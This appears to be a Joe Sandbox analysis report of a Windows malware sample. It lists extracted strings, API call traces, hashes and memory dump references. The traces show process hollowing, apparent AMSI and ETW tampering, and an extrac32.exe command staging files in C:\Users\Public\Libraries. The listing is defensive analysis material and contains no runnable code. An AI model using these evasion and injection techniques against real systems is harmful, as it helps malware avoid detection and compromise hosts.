ntdll, xrefs: 02D87DDB, 02D87E0E, 02D87E41, 02D87E74, 02D87EA7, 02D88740, 02D88773, 02D887A6, 02D887D9, 02D8880C, 02D8883F, 02D88872, 02D888A5, 02D888D8, 02D8890B, 02D8893E, 02D88971, 02D889A4, 02D889D7, 02D88A0A
ScanBuffer, xrefs: 02D7D639, 02D7DA0F, 02D7DC39, 02D7E17E, 02D7E28B, 02D7E392, 02D7E755, 02D7E8F3, 02D7EA99, 02D7EBB9, 02D7ED4E, 02D7EE46, 02D7F0AF, 02D7F255, 02D7F3F1, 02D7F507, 02D7F595, 02D7F8A9, 02D7FB4A, 02D7FC5B, 02D7FDF8, 02D801A3, 02D802AF, 02D804CD, 02D805EA, 02D80905, 02D809A6, 02D80B1A, 02D80CDA, 02D80E88, 02D81292, 02D81330, 02D81553, 02D816C9, 02D83351, 02D83541, 02D8387B, 02D83B94, 02D83F14, 02D842C9, 02D844F2, 02D846F7, 02D8485D, 02D849D1, 02D84A4D, 02D855DC, 02D8566D, 02D85A9D, 02D85C30, 02D85D8C, 02D85F00, 02D863A1, 02D8660D, 02D8679E, 02D86931, 02D86AD7, 02D86D7A, 02D87053, 02D871EC, 02D873A6, 02D874B4, 02D877EC, 02D87B8A, 02D880B9, 02D88B24
SLLoadApplicationPolicies, xrefs: 02D876BB
<i, xrefs: 02D80E48
wintrust, xrefs: 02D7D90E, 02D7D93E, 02D7D971
EnumProcessModules, xrefs: 02D881A1
NtWriteVirtualMemory, xrefs: 02D8895A
NtOpenFile, xrefs: 02D8898D
OpenSession, xrefs: 02D7D69D, 02D7DFE1, 02D7E102, 02D7E20F, 02D7E316, 02D7E6D9, 02D7E877, 02D7EA1D, 02D7EB3D, 02D7ECD2, 02D7EDCA, 02D7EFB7, 02D7F15D, 02D7F48B, 02D7F6B9, 02D7F82D, 02D7F950, 02D7FACE, 02D7FE74, 02D7FEF7, 02D8000F, 02D80127, 02D80233, 02D80451, 02D8056E, 02D8080D, 02D80889, 02D80A9E, 02D80C3E, 02D80F04, 02D81025, 02D811C3, 02D813AC, 02D81860, 02D834C5, 02D8365F, 02D837FF, 02D839A4, 02D83B18, 02D83D68, 02D83E1C, 02D840D9, 02D8424D, 02D8467B, 02D84955, 02D84AC9, 02D84C5D, 02D84E0D, 02D854E4, 02D856E9, 02D85902, 02D859A5, 02D85B38, 02D85E08, 02D8619C, 02D86499, 02D86591, 02D86722, 02D868B5, 02D86A5B, 02D86C58, 02D86F49, 02D870CF, 02D8732A, 02D87530, 02D876F4, 02D879E3, 02D87A92, 02D87CD2, 02D87EC9, 02D87FC1, 02D88292, 02D8856B, 02D88AA8
DllRegisterServer, xrefs: 02D7D872, 02D7DD91
NtQueryVirtualMemory, xrefs: 02D8875C
VirtualProtect, xrefs: 02D883EA
NtGetWriteWatch, xrefs: 02D88729
HotKey=, xrefs: 02D84D6B
spp, xrefs: 02D878AC, 02D878DF, 02D88674
SLGetSLIDList, xrefs: 02D87655
SLGetGenuineInformation, xrefs: 02D87622
Advapi, xrefs: 02D8816A, 02D88179, 02D88188, 02D88197, 02D881D3, 02D881E2, 02D881F1
CryptSIPGetSignedDataMsg, xrefs: 02D7DAEB
[InternetShortcut], xrefs: 02D84BD4
ScanString, xrefs: 02D7D8A2, 02D7D993, 02D7DB24, 02D7DCB5, 02D7DF3E, 02D7E05D, 02D7E5D2, 02D7F1D9, 02D7F375, 02D7F7B1, 02D7F9CC, 02D7FA48, 02D7FD65, 02D8008B, 02D80354, 02D80791, 02D80BC2, 02D80DD2, 02D810A1, 02D833CD, 02D83449, 02D835E3, 02D83928, 02D83CEC, 02D8437E, 02D84B64, 02D84CD9, 02D84D91, 02D853EC, 02D85886, 02D85CED, 02D86310, 02D86ECD, 02D872AE, 02D875AC, 02D87967, 02D87D4E, 02D87F45, 02D8830E, 02D885E7
Initialize, xrefs: 02D7D701, 02D7E4DA, 02D7E65D, 02D7E7FB, 02D7E9A1, 02D7EC56, 02D7F2F9, 02D7F735, 02D7FBDF, 02D7FCE9, 02D803D0, 02D80702, 02D80A22, 02D80D56, 02D81147, 02D814D7, 02D83707, 02D83A9C, 02D83E98, 02D8405D, 02D84155, 02D843FA, 02D845FF, 02D85560, 02D86218, 02D86B60, 02D87770, 02D87B0E, 02D8803D, 02D884EF, 02D88A2C
iexpress.exe, xrefs: 02D7E300
acS, xrefs: 02D819B0
NtQueryDirectoryFile, xrefs: 02D88147
SetUnhandledExceptionFilter, xrefs: 02D884B6
NtCreateSection, xrefs: 02D887F5
kernel32, xrefs: 02D8839B, 02D883CE, 02D88401, 02D88434, 02D88467, 02D8849A, 02D884CD
^^Nc, xrefs: 02D7EB0F, 02D7F2CB
C:\Windows\SysWOW64, xrefs: 02D81837
can, xrefs: 02D819C3
TrustOpenStores, xrefs: 02D7D8FD
NtAccessCheck, xrefs: 02D888C1
GetProcessMemoryInfo, xrefs: 02D878FB
NtQuerySystemInformation, xrefs: 02D88129
@^@, xrefs: 02D7F91F
CryptSIPVerifyIndirectData, xrefs: 02D7DAB8, 02D8792E
bcrypt, xrefs: 02D7DBB1, 02D7DBE4, 02D7DC17, 02D87A70
NtOpenSection, xrefs: 02D887C2
EnumServicesStatusExW, xrefs: 02D88192
FlushInstructionCache, xrefs: 02D88483
UacInitialize, xrefs: 02D7D765, 02D7DE46, 02D7E556, 02D83783, 02D83C70, 02D85765, 02D86CFE, 02D88216
GetProxyDllInfo, xrefs: 02D7D84B
http, xrefs: 02D7FDD5
SLIsGenuineLocalEx, xrefs: 02D87688
Kernel32, xrefs: 02D881B5, 02D881C4, 02D88200
psapi, xrefs: 02D881A6
EnumServicesStatusW, xrefs: 02D88174
ieproxy, xrefs: 02D7D835, 02D7D85C, 02D7D883
.url, xrefs: 02D83C24
smartscreenps, xrefs: 02D7DD42, 02D7DD75, 02D7DDA8
sppwmi, xrefs: 02D886A7
GET, xrefs: 02D80102
SxTracerGetThreadContextDebug, xrefs: 02D87895, 02D8865D
BCryptRegisterProvider, xrefs: 02D7DC00
SLGatherMigrationBlob, xrefs: 02D886C3
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 02D8433B
NtWaitForSingleObject, xrefs: 02D87E2A
C:\\Users\\Public\\Libraries\\, xrefs: 02D84000
C:\Users\Public\Libraries, xrefs: 02D7E647
DlpGetWebSiteAccess, xrefs: 02D87C99
Ntdll, xrefs: 02D8812E, 02D8813D, 02D8814C, 02D8815B
URL=file:", xrefs: 02D84BE3
OpenProcess, xrefs: 02D8841D
RtlQueryProcessDebugInformation, xrefs: 02D88156
IconIndex=, xrefs: 02D84C37
FindCertsByIssuer, xrefs: 02D7D95A
NtQuerySecurityObject, xrefs: 02D8888E
MZP, xrefs: 02D87145
endpointdlp, xrefs: 02D87C17, 02D87C4A, 02D87C7D, 02D87CB0
EnumServicesStatusExA, xrefs: 02D88183
NtQueryInformationThread, xrefs: 02D8878F
EtwEventWriteEx, xrefs: 02D889C0
DlpCheckIsCloudSyncApp, xrefs: 02D87C33
CryptSIPGetInfo, xrefs: 02D7DA85
LdrLoadDll, xrefs: 02D888F4
DlpGetArchiveFileTraceInfo, xrefs: 02D87C66
CreateProcessA, xrefs: 02D881B0
CreateProcessWithLogonW, xrefs: 02D881EC
WintrustAddActionID, xrefs: 02D7D927
VirtualAllocEx, xrefs: 02D883B7
CreateProcessAsUserW, xrefs: 02D881DD, 02D881FB
BCryptQueryProviderRegistration, xrefs: 02D7DBCD
RtlAllocateHeap, xrefs: 02D87DF7, 02D87E5D
BCryptVerifySignature, xrefs: 02D7DB9A, 02D87A59
C:\Windows\System32\, xrefs: 02D7E0D9, 02D857E3
WinHttp.WinHttpRequest.5.1, xrefs: 02D7FFE9
EnumServicesStatusA, xrefs: 02D88165
tquery, xrefs: 02D87879
NtReadVirtualMemory, xrefs: 02D8885B
WriteVirtualMemory, xrefs: 02D88450
NtDeviceIoControlFile, xrefs: 02D88138
DllGetClassObject, xrefs: 02D7D824, 02D7DD2B, 02D81239, 02D878C8, 02D88690
DllGetActivationFactory, xrefs: 02D7DD5E
C:\Users\Public\, xrefs: 02D83C19, 02D84E7D
DlpNotifyPreDragDrop, xrefs: 02D87C00
UacUninitialize, xrefs: 02D8145B, 02D81745
CreateProcessW, xrefs: 02D881BF
EtwEventWrite, xrefs: 02D889F3
CreateProcessAsUserA, xrefs: 02D881CE
NtAlertResumeThread, xrefs: 02D87DC4
SLGetEncryptedPIDEx, xrefs: 02D886F6
psapi, xrefs: 02D87912
RetailTracerEnable, xrefs: 02D87862
sppc, xrefs: 02D87639, 02D8766C, 02D8769F, 02D876D2, 02D886DA, 02D8870D
DEEX, xrefs: 02D7D612
mssip32, xrefs: 02D7DA9C, 02D7DACF, 02D7DB02, 02D87945
LdrGetProcedureAddress, xrefs: 02D88927
UacScan, xrefs: 02D7D7C9, 02D7DDCA, 02D7DEC2, 02D7E45E, 02D7F033, 02D7F611, 02D7FF73, 02D80686, 02D815CF, 02D817C1, 02D818DC, 02D83A20, 02D83F90, 02D841D1, 02D84476, 02D84583, 02D847E1, 02D848D9, 02D85468, 02D8580A, 02D85A21, 02D85BB4, 02D85E84, 02D86294, 02D8641D, 02D86515, 02D866A6, 02D86839, 02D869DF, 02D86BDC, 02D86DF6, 02D86FD7, 02D87170, 02D87422
VirtualAlloc, xrefs: 02D88384
RtlCreateQueryDebugBuffer, xrefs: 02D87E90
NtMapViewOfSection, xrefs: 02D88828

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: File$AttributesModuleNamePath$AddressCloseCreateDirectoryHandleInetInformationLibraryLoadName_OfflineOpenProcQueryRead
String ID: .url$<i$@^@$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$bcrypt$can$endpointdlp$http$ieproxy$iexpress.exe$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 2725267379-2437051637
Opcode ID: 75e1aeec5ef8a0f89cb0c9aae3923b90aefe5fd7ba342f3895860fde09ab0e37
Instruction ID: 25282cf63fff58e35b71d85727c2540ecfe5b3e3bd65487b47f4eae89523e043
Opcode Fuzzy Hash: 75e1aeec5ef8a0f89cb0c9aae3923b90aefe5fd7ba342f3895860fde09ab0e37
Instruction Fuzzy Hash: 3904DF34A502598FDB20FBA4DC94EEEB3B7EB85300F5085A5E009E7354DA70AE95CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D85FA0 Relevance: 142.4, APIs: 3, Strings: 77, Instructions: 2445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

Part of subcall function 02D62EE0: QueryPerformanceCounter.KERNEL32 ref: 02D62EE4

GetCurrentProcess.KERNEL32(00000000,00000000,00001000,00000040,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,ScanBuffer,02DC5344,02D88FEC), ref: 02D8681D

Part of subcall function 02D77968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02D77975
Part of subcall function 02D77968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02D7797B
Part of subcall function 02D77968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02D7799B

EnumSystemLocalesA.C:\WINDOWS\SYSTEM32\KERNELBASE(00000000,00000000,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344), ref: 02D86B4F

Part of subcall function 02D67E18: GetFileAttributesA.KERNEL32(00000000,?,02D7E0EE,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,UacInitialize), ref: 02D67E23

Part of subcall function 02D7C3F8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02D7C4CA), ref: 02D7C437
Part of subcall function 02D7C3F8: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02D7C471
Part of subcall function 02D7C3F8: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02D7C49E
Part of subcall function 02D7C3F8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02D7C4A7

ExitProcess.KERNEL32(00000000,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,Initialize,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC), ref: 02D88B96

Strings

ntdll, xrefs: 02D87DDB, 02D87E0E, 02D87E41, 02D87E74, 02D87EA7, 02D88740, 02D88773, 02D887A6, 02D887D9, 02D8880C, 02D8883F, 02D88872, 02D888A5, 02D888D8, 02D8890B, 02D8893E, 02D88971, 02D889A4, 02D889D7, 02D88A0A
DlpGetWebSiteAccess, xrefs: 02D87C99
ScanBuffer, xrefs: 02D863A1, 02D8660D, 02D8679E, 02D86931, 02D86AD7, 02D86D7A, 02D87053, 02D871EC, 02D873A6, 02D874B4, 02D877EC, 02D87B8A, 02D880B9, 02D88B24
Ntdll, xrefs: 02D8812E, 02D8813D, 02D8814C, 02D8815B
SLLoadApplicationPolicies, xrefs: 02D876BB
OpenProcess, xrefs: 02D8841D
RtlQueryProcessDebugInformation, xrefs: 02D88156
EnumProcessModules, xrefs: 02D881A1
NtWriteVirtualMemory, xrefs: 02D8895A
NtQuerySecurityObject, xrefs: 02D8888E
MZP, xrefs: 02D87145
NtOpenFile, xrefs: 02D8898D
endpointdlp, xrefs: 02D87C17, 02D87C4A, 02D87C7D, 02D87CB0
OpenSession, xrefs: 02D85FAC, 02D86120, 02D8619C, 02D86499, 02D86591, 02D86722, 02D868B5, 02D86A5B, 02D86C58, 02D86F49, 02D870CF, 02D8732A, 02D87530, 02D876F4, 02D879E3, 02D87A92, 02D87CD2, 02D87EC9, 02D87FC1, 02D88292, 02D8856B, 02D88AA8
EnumServicesStatusExA, xrefs: 02D88183
NtQueryVirtualMemory, xrefs: 02D8875C
VirtualProtect, xrefs: 02D883EA
NtQueryInformationThread, xrefs: 02D8878F
NtGetWriteWatch, xrefs: 02D88729
EtwEventWriteEx, xrefs: 02D889C0
DlpCheckIsCloudSyncApp, xrefs: 02D87C33
spp, xrefs: 02D878AC, 02D878DF, 02D88674
SLGetSLIDList, xrefs: 02D87655
SLGetGenuineInformation, xrefs: 02D87622
LdrLoadDll, xrefs: 02D888F4
Advapi, xrefs: 02D8816A, 02D88179, 02D88188, 02D88197, 02D881D3, 02D881E2, 02D881F1
DlpGetArchiveFileTraceInfo, xrefs: 02D87C66
CreateProcessA, xrefs: 02D881B0
CreateProcessWithLogonW, xrefs: 02D881EC
VirtualAllocEx, xrefs: 02D883B7
CreateProcessAsUserW, xrefs: 02D881DD, 02D881FB
RtlAllocateHeap, xrefs: 02D87DF7, 02D87E5D
ScanString, xrefs: 02D860A4, 02D86310, 02D86ECD, 02D872AE, 02D875AC, 02D87967, 02D87D4E, 02D87F45, 02D8830E, 02D885E7
BCryptVerifySignature, xrefs: 02D87A59
Initialize, xrefs: 02D86028, 02D86218, 02D86B60, 02D87770, 02D87B0E, 02D8803D, 02D884EF, 02D88A2C
EnumServicesStatusA, xrefs: 02D88165
tquery, xrefs: 02D87879
NtQueryDirectoryFile, xrefs: 02D88147
SetUnhandledExceptionFilter, xrefs: 02D884B6
NtReadVirtualMemory, xrefs: 02D8885B
NtCreateSection, xrefs: 02D887F5
WriteVirtualMemory, xrefs: 02D88450
kernel32, xrefs: 02D8839B, 02D883CE, 02D88401, 02D88434, 02D88467, 02D8849A, 02D884CD
NtDeviceIoControlFile, xrefs: 02D88138
NtAccessCheck, xrefs: 02D888C1
DllGetClassObject, xrefs: 02D878C8, 02D88690
GetProcessMemoryInfo, xrefs: 02D878FB
NtQuerySystemInformation, xrefs: 02D88129
DlpNotifyPreDragDrop, xrefs: 02D87C00
CreateProcessW, xrefs: 02D881BF
CryptSIPVerifyIndirectData, xrefs: 02D8792E
EtwEventWrite, xrefs: 02D889F3
NtOpenSection, xrefs: 02D887C2
bcrypt, xrefs: 02D87A70
CreateProcessAsUserA, xrefs: 02D881CE
EnumServicesStatusExW, xrefs: 02D88192
FlushInstructionCache, xrefs: 02D88483
NtAlertResumeThread, xrefs: 02D87DC4
UacInitialize, xrefs: 02D86CFE, 02D88216
SLGetEncryptedPIDEx, xrefs: 02D886F6
psapi, xrefs: 02D87912
RetailTracerEnable, xrefs: 02D87862
Kernel32, xrefs: 02D881B5, 02D881C4, 02D88200
SLIsGenuineLocalEx, xrefs: 02D87688
psapi, xrefs: 02D881A6
EnumServicesStatusW, xrefs: 02D88174
sppc, xrefs: 02D87639, 02D8766C, 02D8769F, 02D876D2, 02D886DA, 02D8870D
sppwmi, xrefs: 02D886A7
mssip32, xrefs: 02D87945
LdrGetProcedureAddress, xrefs: 02D88927
SxTracerGetThreadContextDebug, xrefs: 02D87895, 02D8865D
UacScan, xrefs: 02D86294, 02D8641D, 02D86515, 02D866A6, 02D86839, 02D869DF, 02D86BDC, 02D86DF6, 02D86FD7, 02D87170, 02D87422
SLGatherMigrationBlob, xrefs: 02D886C3
VirtualAlloc, xrefs: 02D88384
NtWaitForSingleObject, xrefs: 02D87E2A
RtlCreateQueryDebugBuffer, xrefs: 02D87E90
NtMapViewOfSection, xrefs: 02D88828

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: File$AddressHandleModulePathProcProcess$AllocateAttributesCloseCounterCreateCurrentEnumExitLibraryLoadLocalesMemoryNameName_PerformanceQuerySystemVirtualWrite
String ID: Advapi$BCryptVerifySignature$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$bcrypt$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 724724934-2845693168
Opcode ID: 27bfa696791325dce1b637ba160ccfb1c1828ae8a185d7d0ec98573258900a3b
Instruction ID: 9d3501eb09e64a356fefe39866bce1358522ea2d132f617fcb26d98f9b84edde
Opcode Fuzzy Hash: 27bfa696791325dce1b637ba160ccfb1c1828ae8a185d7d0ec98573258900a3b
Instruction Fuzzy Hash: 2F330F34A502598FDB20FBA4DC949EEB3B6EF85300F5045E5E009EB364DA70AE95CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D77F48 Relevance: 43.6, APIs: 8, Strings: 16, Instructions: 1602
nativethreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02DC5398,02DC5388,OpenSession,02DC5360,02D79A30,ScanString,02DC5360), ref: 02D78446
GetThreadContext.KERNEL32(00000870,02DC53DC,ScanString,02DC5360,02D79A30,UacInitialize,02DC5360,02D79A30,ScanBuffer,02DC5360,02D79A30,ScanBuffer,02DC5360,02D79A30,UacInitialize,02DC5360), ref: 02D787DF
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(0000087C,002CCFF8,02DC54B0,00000004,02DC54B8,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360), ref: 02D78A3C
NtUnmapViewOfSection.N(0000087C,00400000,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,0000087C,002CCFF8,02DC54B0,00000004,02DC54B8), ref: 02D78BB7

Part of subcall function 02D77968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02D77975
Part of subcall function 02D77968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02D7797B
Part of subcall function 02D77968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02D7799B

NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(0000087C,00400000,00000000,1DC54500,02DC54B8,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,ScanBuffer,02DC5360), ref: 02D7920B
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(0000087C,002CCFF8,02DC54B4,00000004,02DC54B8,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,0000087C,00400000), ref: 02D7937E
SetThreadContext.KERNEL32(00000870,02DC53DC,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,0000087C,002CCFF8,02DC54B4,00000004,02DC54B8), ref: 02D794F4
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000870,00000000,00000870,02DC53DC,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,0000087C,002CCFF8,02DC54B4), ref: 02D79501

Part of subcall function 02D77AC0: LoadLibraryW.KERNEL32(bcrypt,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360,02D79A30,UacInitialize,02DC5360,02D79A30,00000870,02DC53DC,ScanString,02DC5360,02D79A30), ref: 02D77AD2
Part of subcall function 02D77AC0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02D77ADF
Part of subcall function 02D77AC0: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(0000087C,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360,02D79A30,UacInitialize), ref: 02D77AF6
Part of subcall function 02D77AC0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360,02D79A30,UacInitialize,02DC5360,02D79A30,00000870,02DC53DC), ref: 02D77B05

Strings

UacInitialize, xrefs: 02D7820A, 02D7856B, 02D786EF, 02D787F3, 02D78BEF, 02D78D63, 02D7950D
NtOpenObjectAuditAlarm, xrefs: 02D79811
Initialize, xrefs: 02D782C2, 02D788D5, 02D78A5C, 02D78E45, 02D790A7, 02D79217, 02D7938A, 02D795EF
SLGetLicenseInformation, xrefs: 02D78537
BCryptQueryProviderRegistration, xrefs: 02D79764
bcrypt, xrefs: 02D79755, 02D79769, 02D7977D
UacScan, xrefs: 02D7804B, 02D78263, 02D78864, 02D78C60, 02D78DD4, 02D7957E
sppc, xrefs: 02D7854E
IC, xrefs: 02D794E4
ScanBuffer, xrefs: 02D780A4, 02D7812C, 02D784C7, 02D785DC, 02D7867E, 02D789B7, 02D78B3E, 02D78CD1, 02D78EB6, 02D78FCB, 02D79189, 02D792F9, 02D7946C, 02D79660, 02D7987E, 02D79941
OpenSession, xrefs: 02D77F81, 02D783A4, 02D78456, 02D7982C, 02D798D0
BCryptVerifySignature, xrefs: 02D79750
BCryptRegisterProvider, xrefs: 02D79778
NtReadVirtualMemory, xrefs: 02D797FD
ntdll, xrefs: 02D79802, 02D79816
ScanString, xrefs: 02D77FDA, 02D78185, 02D78333, 02D78760, 02D78946, 02D78ACD, 02D78F5A, 02D79118, 02D79288, 02D793FB, 02D796E6, 02D79793

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$AddressLibraryProcThreadWrite$ContextHandleLoadModule$AllocateCreateFreeProcessReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc$IC
API String ID: 2533507481-3678116285
Opcode ID: 67fb9e229e2d53dca7e23163fcf18075d0c2ea7a0175a04ec1dceade3de7d6d8
Instruction ID: 3c0f733043452f38362fbd92b144ce4bf9f1ec6562fe5b274fd7934a49f3854a
Opcode Fuzzy Hash: 67fb9e229e2d53dca7e23163fcf18075d0c2ea7a0175a04ec1dceade3de7d6d8
Instruction Fuzzy Hash: EEE22F31A411699FEB21EBA0DC94BEE73B6EF45700F1045A6E009BB314EE74AE45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D77F46 Relevance: 43.6, APIs: 8, Strings: 16, Instructions: 1553
nativeprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

